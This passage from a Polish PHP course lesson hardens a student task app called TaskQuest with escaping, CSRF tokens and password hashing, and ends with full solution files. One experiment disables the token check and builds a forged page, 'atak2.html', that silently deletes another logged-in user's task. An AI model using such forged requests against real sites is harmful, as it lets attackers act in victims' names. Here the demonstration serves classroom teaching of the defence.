<li>Otwórz „+ Dodaj zadanie” w jednej karcie. W drugiej karcie wyloguj się i zaloguj jeszcze raz. W pierwszej karcie wypełnij formularz i wyślij → komunikat o wygasłym formularzu, wpisane dane zostały w polach.</li>
</ol>



<h2 class="wp-block-heading">Test 7 — katalog avatarów</h2>



<p class="wp-block-paragraph">Tabela w sekcji 8.</p>



<h2 class="wp-block-heading">Test 8 — diagnostyka</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — 23 pliki, wszystkie <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>. Zmień nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">htaccess.txt</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">[BRAK]</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/.htaccess</code>. Przywróć nazwę.</p>



<h2 class="wp-block-heading">Test 9 — baza nie działa</h2>



<p class="wp-block-paragraph">Zatrzymaj MySQL w XAMPP. Logowanie → ramka „Nie udało się zalogować: Nie udało się połączyć z bazą danych.” Rejestracja → „Nie udało się założyć konta: &#8230;”, login i imię zostały w polach. Uruchom MySQL.</p>



<h1 class="wp-block-heading">10. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph">Po każdym eksperymencie przywróć kod.</p>



<h3 class="wp-block-heading">Eksperyment 1: kolejność escapowania</h3>



<p class="wp-block-paragraph">Dodaj zadanie z opisem:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Porównać wyniki testów z klasą 3A i 3B, potem Q&amp;A z nauczycielem</code></pre>



<p class="wp-block-paragraph">Na liście opis jest skrócony do: <code class="prettyprint lang-sql" style="font-size: 0.85em;">... potem Q&amp;A ...</code>. Teraz w pętli listy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> zamień kolejność: najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrocOpis()</code>, czyli <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrocOpis(htmlspecialchars($zadanie-&gt;pobierzOpis()))</code>. Odśwież.</p>



<p class="wp-block-paragraph">Na liście pojawia się <code class="prettyprint lang-sql" style="font-size: 0.85em;">... potem Q&amp;am...</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> zamienił <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;</code> na pięć znaków <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;amp;</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrocOpis()</code> przeciął encję w połowie. Przeglądarka dostała niepełne <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;am</code> i wyświetliła je jako zwykły tekst. Wniosek: escapujemy na samym końcu.</p>



<h3 class="wp-block-heading">Eksperyment 2: podwójne escapowanie</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, tuż przed wywołaniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code>, dopisz tymczasowo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulZadania = htmlspecialchars($tytulZadania);</code>. Dodaj zadanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Tom &amp; Jerry</code>.</p>



<p class="wp-block-paragraph">Na liście widać <code class="prettyprint lang-sql" style="font-size: 0.85em;">Tom &amp;amp; Jerry</code>, a w phpMyAdmin w kolumnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> jest zapisane <code class="prettyprint lang-sql" style="font-size: 0.85em;">Tom &amp;amp; Jerry</code>. Tekst został zamieniony dwa razy: przy zapisie i przy wyświetlaniu. Gdyby TaskQuest kiedyś wysyłał ten tytuł w e-mailu albo do aplikacji mobilnej, tam też pokazałby się śmieć. Usuń linię i to zadanie.</p>



<h3 class="wp-block-heading">Eksperyment 3: CSRF usuwa zadanie</h3>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> zamień blok sprawdzający token w komentarz.</li>



<li>Skopiuj <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak2.html</code>. Zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">action</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>, usuń cztery ukryte pola i dodaj jedno: <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="id"</code> z numerem któregoś zadania Kamy (znajdziesz go w źródle strony listy albo w phpMyAdmin).</li>



<li>W Firefoksie (zalogowana Kama) otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak2.html</code>. Zadanie zniknęło, a Kama zobaczyła komunikat „Zadanie zostało usunięte.”.</li>



<li>Przywróć sprawdzanie tokenu i otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak2.html</code> jeszcze raz → „Nie udało się wykonać akcji. Spróbuj jeszcze raz.”, zadania nie ubywa.</li>
</ol>



<h3 class="wp-block-heading">Eksperyment 4: wolny hash to zaleta</h3>



<p class="wp-block-paragraph">W brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT);
echo '&lt;p&gt;password_hash: ' . round(microtime(true) - $start, 3) . ' s&lt;/p&gt;';

$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT, &#91;'cost' =&gt; 14]);
echo '&lt;p&gt;password_hash, koszt 14: ' . round(microtime(true) - $start, 3) . ' s&lt;/p&gt;';

$start = microtime(true);
for ($i = 0; $i &lt; 100000; $i++) {
    md5('KamaQuest26' . $i);
}
echo '&lt;p&gt;100 000 × md5: ' . round(microtime(true) - $start, 3) . ' s&lt;/p&gt;';</code></pre>



<p class="wp-block-paragraph">Na typowym komputerze szkolnym zobaczysz mniej więcej: jeden <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> trwa kilka setnych sekundy, z kosztem 14 około sekundy, a sto tysięcy <code class="prettyprint lang-sql" style="font-size: 0.85em;">md5()</code> kilka setnych sekundy. Dla gracza różnica jest niezauważalna, bo loguje się raz. Atakujący, który ma wykradziony hash i sprawdza miliony haseł, przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> potrzebuje tysięcy razy więcej czasu niż przy md5. Każde zwiększenie kosztu o 1 podwaja ten czas.</p>



<h1 class="wp-block-heading">11. ROZWIĄZANIE</h1>



<p class="wp-block-paragraph">Poniżej wszystkie pliki, które zmieniły się w Lekcji 22. Pliki niewymienione (klasy, <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_grywalizacji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_terminow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_zadan.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_avatara.php</code>) są <strong>identyczne jak po Lekcji 21</strong>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/.htaccess</code> (nowy plik)</h2>



<p class="wp-block-paragraph">Treść jak w sekcji 8.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> — zmiany</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NOT NULL,          -- (L22) wynik password_hash()
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL,       -- NULL = brak aktywności
    avatar VARCHAR(100) NULL                   -- (L21) nazwa pliku w uploads/avatary; NULL = brak avatara
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;</code></pre>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">-- (L22) hasła kont testowych: Kama_2026 → KamaQuest26, Ola_TQ → OlaQuest26
INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', '$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', '$2y$10$IC7t4ZwMprlNySlkvZAjK.51hLq0Js/fAlwfemXNX1EhrNhwgmcF.', 250, 0, NULL);</code></pre>



<p class="wp-block-paragraph">Hashe powyżej są poprawne dla podanych haseł. Twoje, wygenerowane w kroku 6.3, będą inne i też są poprawne. Reszta skryptu bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> — na końcu pliku</h2>



<p class="wp-block-paragraph">Funkcje <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTokenCsrf()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf()</code> — kod jak w ROZWIĄZANIU kroku 5.3.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code> — zmiany</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code> w nowej wersji i pod nią nowa funkcja (<code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> i pozostałe funkcje bez zmian):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujDaneLogowania(string $login, string $haslo): array
{
    $bledy = &#91;];

    if (!walidujLogin($login)) {
        $bledy&#91;] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    if ($haslo === '') {
        $bledy&#91;] = 'Podaj hasło.';
    }

    return $bledy;
}

function walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
{
    $bledy = &#91;];

    if (!walidujLogin($login)) {
        $bledy&#91;] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    if ($imieUzytkownika === '') {
        $bledy&#91;] = 'Imię jest wymagane.';
    } elseif (mb_strlen($imieUzytkownika) &gt; 30) {
        $bledy&#91;] = 'Imię może mieć najwyżej 30 znaków.';
    }

    if (mb_strlen($haslo) &lt; 8) {
        $bledy&#91;] = 'Hasło musi mieć co najmniej 8 znaków.';
    } elseif ($haslo !== $powtorzoneHaslo) {
        $bledy&#91;] = 'Hasła nie są takie same.';
    }

    return $bledy;
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Komentarz na górze: „(Lekcje 18–22)”.</li>



<li>Na końcu pliku:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?');
    $zapytanie-&gt;bind_param('s', $login);
    $zapytanie-&gt;execute();
    $wynik = $zapytanie-&gt;get_result();

    return $wynik-&gt;fetch_assoc();   // null, gdy nie ma takiego loginu
}

function dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int
{
    $zapytanie = $polaczenie-&gt;prepare('INSERT INTO uzytkownicy (login, imie, haslo_hash) VALUES (?, ?, ?)');
    $zapytanie-&gt;bind_param('sss', $login, $imieUzytkownika, $hasloHash);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;insert_id;
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> (pełny plik)</h2>



<p class="wp-block-paragraph">Etykiety i kolejność <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> mogą się drobnie różnić od Twojej wersji z L18. Ważna jest logika.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$bledy = &#91;];
$bladBazy = null;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST&#91;'login'] ?? '');
    $haslo = $_POST&#91;'haslo'] ?? '';

    if (!sprawdzTokenCsrf()) {
        $bledy&#91;] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujDaneLogowania($login, $haslo);
    }

    if ($bledy === &#91;]) {
        try {
            $polaczenie = polaczZBaza();
            $daneLogowania = pobierzDaneLogowania($polaczenie, $login);

            if ($daneLogowania === null || !password_verify($haslo, $daneLogowania&#91;'haslo_hash'])) {
                $bledy&#91;] = 'Nieprawidłowy login lub hasło.';
            } else {
                session_regenerate_id(true);
                $_SESSION&#91;'uzytkownik_id'] = $daneLogowania&#91;'id'];

                ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek-&gt;getMessage();
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;

&lt;h2&gt;Logowanie&lt;/h2&gt;

&lt;?php if ($bledy !== &#91;]) { ?&gt;
    &lt;div class="blad"&gt;
        &lt;p&gt;Popraw formularz:&lt;/p&gt;
        &lt;ul&gt;
            &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
            &lt;?php } ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php } ?&gt;

&lt;?php if ($bladBazy !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się zalogować: &lt;?= htmlspecialchars($bladBazy); ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;

&lt;form method="post" action="zaloguj.php"&gt;
    &lt;input type="hidden" name="token_csrf" value="&lt;?= $tokenCsrf; ?&gt;"&gt;

    &lt;label for="login"&gt;Login&lt;/label&gt;
    &lt;input type="text" id="login" name="login" maxlength="20" value="&lt;?= htmlspecialchars($login); ?&gt;" required&gt;

    &lt;label for="haslo"&gt;Hasło&lt;/label&gt;
    &lt;input type="password" id="haslo" name="haslo" required&gt;

    &lt;button type="submit"&gt;Wejdź do TaskQuest&lt;/button&gt;
&lt;/form&gt;

&lt;p&gt;Nie masz konta? &lt;a href="rejestracja.php"&gt;Załóż konto&lt;/a&gt;&lt;/p&gt;

&lt;?php require_once __DIR__ . '/includes/footer.php'; ?&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code> (nowy plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$imieUzytkownika = '';
$bledy = &#91;];
$bladBazy = null;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST&#91;'login'] ?? '');
    $imieUzytkownika = trim($_POST&#91;'imie'] ?? '');
    $haslo = $_POST&#91;'haslo'] ?? '';
    $powtorzoneHaslo = $_POST&#91;'powtorzone_haslo'] ?? '';

    if (!sprawdzTokenCsrf()) {
        $bledy&#91;] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujDaneRejestracji($login, $imieUzytkownika, $haslo, $powtorzoneHaslo);
    }

    if ($bledy === &#91;]) {
        try {
            $polaczenie = polaczZBaza();

            if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
                $bledy&#91;] = 'Ten login jest już zajęty.';
            } else {
                $uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash($haslo, PASSWORD_DEFAULT));

                session_regenerate_id(true);
                $_SESSION&#91;'uzytkownik_id'] = $uzytkownikId;

                ustawKomunikat('Konto zostało założone. Witaj w TaskQuest!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek-&gt;getMessage();
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Rejestracja — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;

&lt;h2&gt;Załóż konto&lt;/h2&gt;

&lt;?php if ($bledy !== &#91;]) { ?&gt;
    &lt;div class="blad"&gt;
        &lt;p&gt;Popraw formularz:&lt;/p&gt;
        &lt;ul&gt;
            &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
            &lt;?php } ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php } ?&gt;

&lt;?php if ($bladBazy !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się założyć konta: &lt;?= htmlspecialchars($bladBazy); ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;

&lt;form method="post" action="rejestracja.php"&gt;
    &lt;input type="hidden" name="token_csrf" value="&lt;?= $tokenCsrf; ?&gt;"&gt;

    &lt;label for="login"&gt;Login (3–20 znaków: litery bez polskich znaków, cyfry, _ lub -)&lt;/label&gt;
    &lt;input type="text" id="login" name="login" maxlength="20" value="&lt;?= htmlspecialchars($login); ?&gt;" required&gt;

    &lt;label for="imie"&gt;Imię&lt;/label&gt;
    &lt;input type="text" id="imie" name="imie" maxlength="30" value="&lt;?= htmlspecialchars($imieUzytkownika); ?&gt;" required&gt;

    &lt;label for="haslo"&gt;Hasło (co najmniej 8 znaków)&lt;/label&gt;
    &lt;input type="password" id="haslo" name="haslo" required&gt;

    &lt;label for="powtorzone_haslo"&gt;Powtórz hasło&lt;/label&gt;
    &lt;input type="password" id="powtorzone_haslo" name="powtorzone_haslo" required&gt;

    &lt;button type="submit"&gt;Załóż konto&lt;/button&gt;
&lt;/form&gt;

&lt;p&gt;Masz już konto? &lt;a href="zaloguj.php"&gt;Zaloguj się&lt;/a&gt;&lt;/p&gt;

&lt;?php require_once __DIR__ . '/includes/footer.php'; ?&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code> (pełny plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/includes/funkcje_sesji.php';

if ($_SERVER&#91;'REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

if (!sprawdzTokenCsrf()) {
    header('Location: index.php');
    exit;
}

$_SESSION = &#91;];

if (isset($_COOKIE&#91;session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();

header('Location: zaloguj.php');
exit;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> (pełny plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_avatara.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

$bledy = &#91;];
$bladZapisu = null;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $plik = $_FILES&#91;'avatar'] ?? null;

    if ($plik === null) {
        $bledy&#91;] = 'Plik jest za duży albo nie został wysłany.';
    } elseif (!sprawdzTokenCsrf()) {
        $bledy&#91;] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujAvatar($plik);
    }

    if ($bledy === &#91;]) {
        $nazwaPlikuAvatara = 'avatar_' . $_SESSION&#91;'uzytkownik_id'] . '_' . time() . '.' . rozszerzenieAvatara($plik&#91;'name']);
        $sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;

        if (!move_uploaded_file($plik&#91;'tmp_name'], $sciezkaAvatara)) {
            $bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
        } else {
            try {
                $polaczenie = polaczZBaza();
                zapiszAvatarUzytkownika($polaczenie, $_SESSION&#91;'uzytkownik_id'], $nazwaPlikuAvatara);

                ustawKomunikat('Avatar został zmieniony.');
                header('Location: index.php');
                exit;
            } catch (Exception $wyjatek) {
                $bladZapisu = $wyjatek-&gt;getMessage();
            }
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Profil — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;

&lt;h2&gt;Twój profil&lt;/h2&gt;
&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;

&lt;?php if ($bledy !== &#91;]) { ?&gt;
    &lt;div class="blad"&gt;
        &lt;p&gt;Popraw formularz:&lt;/p&gt;
        &lt;ul&gt;
            &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
            &lt;?php } ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php } ?&gt;

&lt;?php if ($bladZapisu !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się zapisać avatara: &lt;?= htmlspecialchars($bladZapisu); ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;

&lt;form method="post" action="profil.php" enctype="multipart/form-data"&gt;
    &lt;input type="hidden" name="token_csrf" value="&lt;?= $tokenCsrf; ?&gt;"&gt;

    &lt;label for="avatar"&gt;Avatar (JPG, PNG lub WEBP, najwyżej 1 MB)&lt;/label&gt;
    &lt;input type="file" id="avatar" name="avatar" accept=".jpg,.jpeg,.png,.webp" required&gt;

    &lt;button type="submit"&gt;Zapisz avatar&lt;/button&gt;
&lt;/form&gt;

&lt;?php require_once __DIR__ . '/includes/footer.php'; ?&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>znajdź linię zaczynającą się od:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy = walidujNoweZadanie(</code></pre>



<p class="wp-block-paragraph">(<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+F</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie</code>). Jest w bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER['REQUEST_METHOD'] === 'POST') {</code>, zaraz pod liniami, które odczytują pola formularza.</p>



<p class="wp-block-paragraph">Zamień ją na:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    if (!sprawdzTokenCsrf()) {
        $bledy&#91;] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);
    }</code></pre>



<ol start="2" class="wp-block-list">
<li>Tuż przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony = ...</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tokenCsrf = pobierzTokenCsrf();</code>.</li>



<li>Ramka awarii: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= htmlspecialchars($bladZapisu); ?&gt;</code> &#8211; sprawdź czy jest htmlspecialchars().</li>



<li>W formularzu, zaraz po <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form ...&gt;</code>, ukryte pole tokenu. Pola (etykiety bez zmian):</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    &lt;input type="hidden" name="token_csrf" value="&lt;?= $tokenCsrf; ?&gt;"&gt;

    &lt;input type="text" id="tytul" name="tytul" maxlength="100" value="&lt;?= htmlspecialchars($tytulZadania); ?&gt;" required&gt;
    &lt;textarea id="opis" name="opis" rows="3" maxlength="300"&gt;&lt;?= htmlspecialchars($opisZadania); ?&gt;&lt;/textarea&gt;
    &lt;input type="date" id="termin" name="termin" value="&lt;?= htmlspecialchars($terminZadania); ?&gt;" required&gt;
    &lt;input type="number" id="xp" name="xp" min="1" max="100" value="&lt;?= htmlspecialchars($xpZadania); ?&gt;" required&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Bezpośrednio pod blokiem „tylko POST”, przed odczytem <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieIdTekst</code>:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!sprawdzTokenCsrf()) {
    ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.');
    header('Location: index.php');
    exit;
}</code></pre>



<ol start="2" class="wp-block-list">
<li>W ramce awarii komunikat wyjątku przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars($wyjatek-&gt;getMessage())</code>.</li>
</ol>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Pod blokiem komunikatu jednorazowego:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- token CSRF do formularzy na stronie ---
$tokenCsrf = pobierzTokenCsrf();</code></pre>



<ol start="2" class="wp-block-list">
<li>Avatar nad powitaniem:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php if ($uzytkownik-&gt;pobierzAvatar() !== null) { ?&gt;
    &lt;img class="avatar" src="&lt;?= htmlspecialchars(KATALOG_AVATAROW . '/' . $uzytkownik-&gt;pobierzAvatar()); ?&gt;" alt="Avatar gracza"&gt;
&lt;?php } else { ?&gt;
    &lt;span class="avatar avatar-litera"&gt;&lt;?= htmlspecialchars(mb_substr($uzytkownik-&gt;pobierzImie(), 0, 1)); ?&gt;&lt;/span&gt;
&lt;?php } ?&gt;</code></pre>



<ol start="3" class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> w pozostałych miejscach z tabeli w sekcji 4.3: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code>, imię w powitaniu, login w „Zalogowano jako”, tytuł najpilniejszego zadania, w pętli listy tytuł (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulCzysty</code>), skrócony opis i termin, login w rankingu.</li>



<li>Ukryte pole tokenu w trzech formularzach. Przykład „Zrobione!”:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form class="akcja" method="post" action="oznacz-wykonane.php"&gt;
    &lt;input type="hidden" name="token_csrf" value="&lt;?= $tokenCsrf; ?&gt;"&gt;
    &lt;input type="hidden" name="id" value="&lt;?= $zadanie-&gt;pobierzId(); ?&gt;"&gt;
    &lt;button type="submit"&gt;Zrobione!&lt;/button&gt;
&lt;/form&gt;</code></pre>



<p class="wp-block-paragraph">„Usuń” analogicznie. W formularzu „Wyloguj” ukryte pole przed przyciskiem.</p>



